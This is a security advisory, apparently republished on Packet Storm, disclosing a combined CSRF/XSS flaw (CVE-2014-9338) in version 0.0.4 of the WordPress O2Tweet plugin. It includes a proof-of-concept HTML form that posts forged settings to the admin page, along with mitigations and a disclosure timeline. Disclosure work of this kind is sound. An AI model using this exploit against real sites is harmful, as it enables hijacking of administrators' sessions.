WordPress O2Tweet plugin version 0.0.4 suffers from cross site request forgery and cross site scripting vulnerabilities.
646d9b986366525995dcfa2c507f57dabe4f6447d31f30262ae75dacdabe5e28# Title: CSRF/XSS Vulnerability in O2Tweet WP Plugin
# Author: Manideep K
# CVE -ID: CVE-2014-9338
# Plugin Homepage: https://wordpress.org/plugins/o2tweet/
# Version Affected: 0.0.4 (probably lower versions)
# Severity: High
# Description:
# Vulnerable Parameter: o2t_username, o2t_tags etc
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.
# Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))
# Steps to Reproduce: (POC):
After installing the plugin
You can use the following exploit code to exploit the vulnerability. For testing - you can just save it as .html and then get it clicked with an logged in administrator (by social engineering/spear phishing techniques) and see exploit in action
Almost majority of the fields are vulnerable to CSRF + XSS attack
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options-general.php" method="POST">
<input type="hidden" name="o2t_action" value="o2t_update_settings" />
<input type="hidden" name="o2t_username" value="csrf testing" />
<input type="hidden" name="o2t_password" value="" />
<input type="hidden" name="o2t_tags" value="" />
<input type="hidden" name="o2t_tweets_count" value="10" />
<input type="hidden" name="o2t_update" value="15" />
<input type="hidden" name="o2t_ulid" value="" />
<input type="hidden" name="o2t_ulclasses" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Recommendations:
a) Use proper input filtering techniques
b) Use unique tokens such as nonces
# Mitigation:
Plugin Closed
# Disclosure:
2014-11-06: Author notification
2014-11-20: WP Team action taken by closing the plugin as there is no response from author
2014-12-09: Public Disclosure
# Credits:
Manideep K
Information Security Researcher
https://in.linkedin.com/in/manideepk
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed